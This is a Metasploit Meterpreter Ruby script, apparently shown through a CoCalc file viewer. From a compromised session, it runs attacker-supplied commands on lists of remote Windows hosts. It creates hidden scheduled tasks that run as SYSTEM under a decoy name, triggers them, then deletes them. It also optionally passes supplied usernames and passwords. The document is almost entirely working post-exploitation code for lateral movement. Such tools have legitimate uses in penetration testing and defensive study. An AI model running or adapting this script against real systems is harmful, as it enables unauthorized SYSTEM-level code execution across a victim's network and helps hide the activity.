CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6

7

8

9
#Meterpreter script for abusing the scheduler service in windows
10
#by scheduling and running a list of command against one or more targets
11
#using schtasks command to run them as system. This script works with Windows XP,
12
#Windows 2003, Windows Vista and Windows 2008.
13
#Version: 0.1.1
14
#Note: in Vista UAC must be disabled to be able to perform scheduling
15
#and the meterpreter must be running under the profile of local admin
16
#or system.
17
################## Variable Declarations ##################
18
session = client
19
# Setting Arguments
20
@@exec_opts = Rex::Parser::Arguments.new(
21
  "-h" => [ false,"Help menu."                        ],
22
  "-c" => [ true,"Commands to execute. Several commands can be given but separated by commas and enclose the list in double quotes if arguments are used."],
23
  "-u" => [ true,"Username to schedule task, if none is given the current user credentials will be used."],
24
  "-p" => [ true,"Password for user account specified, it must be given if a user is given."],
25
  "-d" => [ true,"Delay between the execution of commands in seconds, default is 2 seconds if not given."],
26
  "-t" => [ true,"Remote system to schedule job."],
27
  "-l" => [ true,"Text file with list of targets, one per line."],
28
  "-s" => [ true,"Text file with list of commands, one per line."]
29
)
30
#Setting Argument variables
31
commands = []
32
targets = []
33
username = nil
34
password = nil
35
delay = 2
36
help = 0
37
def usage
38
  print_status( "This Meterpreter script is for running commands on targets system using the")
39
  print_status( "Windows Scheduler, it is based on the tool presented but not released by Val Smith")
40
  print_status( "in Defcon 16 ATAbuser. If no user and password is given it will use the permissions")
41
  print_status( "of the process Meterpreter is running under.")
42
  print_status( "Options:")
43
  print_status( @@exec_opts.usage )
44
end
45
def abuse(session,targets,commands,username,password,delay)
46
  #for each target
47
  targets.each do |t|
48
    next if t.strip.length < 1
49
    next if t[0,1] == "#"
50
    #for each command
51
    commands.each do |c|
52
      next if c.strip.length < 1
53
      next if c[0,1] == "#"
54
      taskname = "syscheck#{rand(100)}"
55
      success = false
56
      #check if user name and password where given, if not credential of running process used
57
      if username == nil && password == nil
58
        print_status("Scheduling command #{c} to run .....")
59
        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /st 00:00:00"
60
        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
61
        #check if successfully scheduled
62
        while(d = r.channel.read)
63
          if d =~ /successfully been created/
64
            print_status("The scheduled task has been successfully created")
65
            success = true
66
          end
67
        end
68
        #check if schedule successful, if not raise error
69
        if !success
70
          print_status("Failed to create scheduled task!!")
71
          raise "Command could not be Scheduled"
72
        elsif success
73
          print_status("Running command on #{t}")
74
          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t}")
75
        end
76
        r.channel.close
77
        r.close
78
        #Wait before scheduling next command
79
        sleep(delay)
80
        print_status("Removing scheduled task")
81
        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t} /F")
82
      else
83
        print_status("Scheduling command #{c} to run .....")
84
        execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{c}\"  /sc once /ru system /s #{t} /u #{username} /p #{password} /st 00:00:00"
85
        r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true})
86
        #check if successfully scheduled
87
        while(d = r.channel.read)
88
          if d =~ /successfully been created/
89
            print_status("The scheduled task has been successfully created")
90
            success = true
91
          end
92
        end
93
        #check if schedule successful, if not raise error
94
        if !success
95
          print_status("Failed to create scheduled task!!")
96
          raise "Command could not be Scheduled"
97
        elsif success
98
          print_status("Running command on #{t}")
99
          session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{t} /u #{username} /p #{password}")
100
        end
101
        r.channel.close
102
        r.close
103
        #Wait before scheduling next command
104
        sleep(delay)
105
        print_status("Removing scheduled task")
106
        session.sys.process.execute("cmd.exe /c schtasks /delete /tn #{taskname} /s #{t}  /u #{username} /p #{password} /F")
107
      end
108
    end
109
  end
110
end
111

112
#check for proper Meterpreter Platform
113
def unsupported
114
  print_error("This version of Meterpreter is not supported with this Script!")
115
  raise Rex::Script::Completed
116
end
117

118

119
@@exec_opts.parse(args) { |opt, idx, val|
120
  case opt
121

122
  when "-c"
123
    commands = val.split(',')
124
  when "-u"
125
    username = val
126
  when "-p"
127
    password = val
128
  when "-t"
129
    targets = val.split(',')
130
  when "-d"
131
    delay = val.to_i
132
  when "-s"
133
    script = val
134
    if not ::File.exist?(script)
135
      raise "Command List File does not exist!"
136
    else
137
      ::File.open(script, "r").each_line do |line|
138
        commands << line.chomp
139
      end
140
    end
141
  when "-l"
142
    list = val
143
    if not ::File.exist?(list)
144
      raise "Command List File does not exist!"
145
    else
146
      ::File.open(list, "r").each_line do |line|
147
        targets << line.chomp
148
      end
149
    end
150
  when "-h"
151
    help = 1
152
  end
153

154
}
155

156
unsupported if client.platform != 'windows'
157
print_status("Meterpreter session running as #{session.sys.config.getuid}")
158
if help == 0 && commands.length != 0
159
  abuse(session,targets,commands,username,password,delay)
160
else
161
  usage
162
end
163

164